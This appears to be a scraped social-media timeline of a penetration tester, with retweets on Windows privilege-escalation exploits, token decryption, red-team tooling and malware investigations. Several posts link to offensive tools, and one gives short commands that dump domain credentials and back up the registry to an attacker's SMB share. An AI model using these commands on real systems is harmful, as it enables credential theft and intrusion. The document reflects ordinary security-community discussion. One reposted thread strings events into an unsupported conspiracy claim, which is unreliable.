George Gerontakis retweetledi
As promised, here is the weapon that u can use your arb file read eop bug to nt system.
github.com/sailay1996/vss…
sailay(valen)@404death
just weaponized ... arb file read to nt system. xD
English
George Gerontakis
617 posts
George Gerontakis
@g_gerontakis
Penetration tester, former SOC Analyst, Cyber Security Enthusiast, Developer, eternal Student. (nickname: sp3ctr3) e1RvdGFsbHlfbm90X2FfZmxhZ30=
Athens Katılım Ekim 2015
184 Takip Edilen66 Takipçiler
George Gerontakis retweetledi
George Gerontakis retweetledi
So here is new local privilege escalation zero-day I discovered, not patched yet too :).
In simple terms, if you have a service like RDP that exposes an RPC server, there many system services running as SYSTEM connect to it as RPC clients. If that service is turned off (RDP is off by default), it seems that any other process in Windows can expose the same RPC server using the same endpoint.
Now all the RPC calls from that SYSTEM processes will come to this fake server and If the process that deployed the server has SeImpersonatePrivilege, it can escalate to SYSTEM by impersonate the RPC client.
In the white paper below, I describe five exploit paths you can abuse.
However it's architecture problem and maybe there are more. It's Not A Potato
securelist.com/phantomrpc-rpc…
English
George Gerontakis retweetledi
So Microsoft Copilot has its own App-Bound Encryption now. The standalone Copilot app (mscopilot.exe) is a full Chromium browser based on Edge, ships with its own elevation_service.exe, a dedicated COM interface (IElevatorCopilot), and a separate ABE key scope.
Decrypting the ABE key gives us some cookies (copilot.microsoft.com auth, MUID, MSAL session, Cloudflare tokens) and the Microsoft Account token from the token_service database.
Local Storage also holds MSAL.js cached tokens. An ID token, two access tokens (chatai.readwrite for the Copilot API + user.read for Microsoft Graph), and account metadata for the signed-in MSA.
These use MSAL's own browser-bound CryptoKey encryption, not ABE.
Edge 147 also quietly hardened IElevator2 by switching from oleaut32 to a custom proxy/stub but simultaneously registered IElevatorCopilot with oleautomation. Closed one door, opened another.
Next up: decrypting the MSAL tokens? 🤔
English
George Gerontakis retweetledi
trustme - BOF to impersonate TrustedInstaller via DISM API trigger and thread impersonation github.com/Meowmycks/trus… #redteam
English
George Gerontakis retweetledi
I wrote a little piece on how to modify CrystalC2's default memory allocation and freeing strategies.
rasta-mouse.gitbook.io/crystalc2/docu…
English
🥲
vx-underground@vxunderground
Weird stuff going on. This is a CRAZY anime arc. I beg you to read this post. This shit is crazy. Check this shit out June 16th, 2025: @phrack reports suspected offensive state-sponsored activity from China and/or North Korea targeting South Korea. They notify KR-CERT (Defense Counterintelligence Command). *In other words, evidence of China and/or North Korea successfully hacking companies in South Korea. June 26th, 2025: South Korean government responds July 17th, 2025: Phrack notifies KISA, Ministry of Unification, LG Uplus Corp, KR-CERT about offensive operations from China and/or North Korea August 15th, 2025: Phrack e-mails terminated from Proton. September 9th, 2025: Everyone starts screaming at Proton on social myself (us included). Proton apologizes and re-instates Phracks Proton e-mail ... then the twist September 24th, 2025: South Korean parliament launches an investigation into the allegations against China and/or North Korea. They want to investigate the companies which were compromised September 25th, 2025: South Korean government says they are going to perform an on-site inspection on several of the alleged compromised facilities September 26th, 2025: A government data center is burned to the ground. 96 servers destroyed. All evidence gone. This includes evidence of China and/or North Korean offensive operations. September 27th, 2025: Server fire reported to be caused by a Lithium-ion battery. The batteries that caused the fire were made by one of the companies which was compromised by China and/or North Korea October 2nd, 2025: Another location which was believed to be compromised by China and/or North Korea is burned to the ground. All evidence gone. October 2nd, 2025: A South Korean government official who was appointed to manage these inspections and overviews commits suicide What the fuck is going on? How did a simple Lithium-ion battery burn an entire data center to the ground? Is it weird that another massive data center burned to the ground a few days later? Why did these fires only impact servers which were believed to be hacked by China and/or North Korea? Why are government officials killing themselves? Why the fuck is this not getting more attention? Why does my tummy hurt? Find out next time on Dragon Ball Z
ART
What began as a friend calling me, worried he had executed something malicious, quickly turned into a day and a half of research and investigation.
We’re sharing this to help protect the community and raise awareness about how real-world exploitation starts with just one click.
English
🚨 From GitHub Malware to North Korean Front Companies 🚨
blog.gerontakis.eu/2025/07/20/fro…
Over ~32 hours, we traced a Node.js malware-infected GitHub repo to a broader campaign involving fake North Korean IT companies, social engineering, and LinkedIn-based recruitment.
English
George Gerontakis retweetledi
Unbelievably impressive. I think programmers are right to have some worry that the world of tomorrow won't need all of them. Illustrators, animators, and cartoonists surely already do. What a time to be alive.
PJ Ace@PJaccetturo
What if Studio Ghibli directed Lord of the Rings? I spent $250 in Kling credits and 9 hours re-editing the Fellowship trailer to bring that vision to life—and I’ll show you exactly how I did it 👇🏼
English
George Gerontakis retweetledi
Is this app vulnerable to 0-click account takeover?
English
Check this out! As always 🔥
NCV@nickvourd
Proudly announce SugarFree in collaboration with @IAMCOMPROMISED. SugarFree is an open-source tool designed to analyze and reduce the entropy of a provided PE file. It uses 2 techniques: adding 0x00 bytes or random English words at the end of the file. github.com/nickvourd/Suga…
English
George Gerontakis retweetledi
wanna see something cool:
API Support with ransomware.live is FREEE
so we can do cool shit like this:
curl -X 'GET' \
'api.ransomware.live/v2/searchvicti…' \
-H 'accept: application/json' | jq
mRr3b00t@UK_Daniel_Card
ransomware.live is awesome! that is all! carry on cybering! :)
English
George Gerontakis retweetledi
George Gerontakis retweetledi
George Gerontakis retweetledi
What's more likely?
1 - small group of AI engineers at @deepseek_ai figures out how to beat all of the top researchers in the world as a side project
2 - Chinese government has 100k GPUs they shouldn't have and releases open source models claiming $6m training cost as a psyop
English
George Gerontakis retweetledi
imo way to complicated to extract the ntds, once you got a user with backup privilege group just do:
1⃣ nxc smb dc -u user -p pass -M backup_operator
🏆
mpgn@mpgn_x64
imo way to complicated to extract the ntds, once you got a user with backup privilege group just do: 1⃣ smbserver.py ... yourshare 2⃣ reg.py freelancer.htb/user:pass@ip backup -o \\youshare\share' 3⃣ nxc smb dc -u DC$ -H ... --ntds 🏆 remotely 😋
English
George Gerontakis retweetledi
Update for my Introduction to Android Pentesting Guide. I created a page dedicated to setting up Android Studio, an Android Virtual Device, and configuring the device to proxy HTTP/HTTPS traffic through Burp Suite.
owlhacku.com/configuring-an…
#EthicalHacking #cybersecurity
English
George Gerontakis retweetledi
Don't believe everything you read on the internet - the said "malware" is literally just an SFX driver installer for the Corechip SR9900 Ethernet adapter.
This is yet another case of a laymen running the installer on Any.Run and reading the report aloud.
English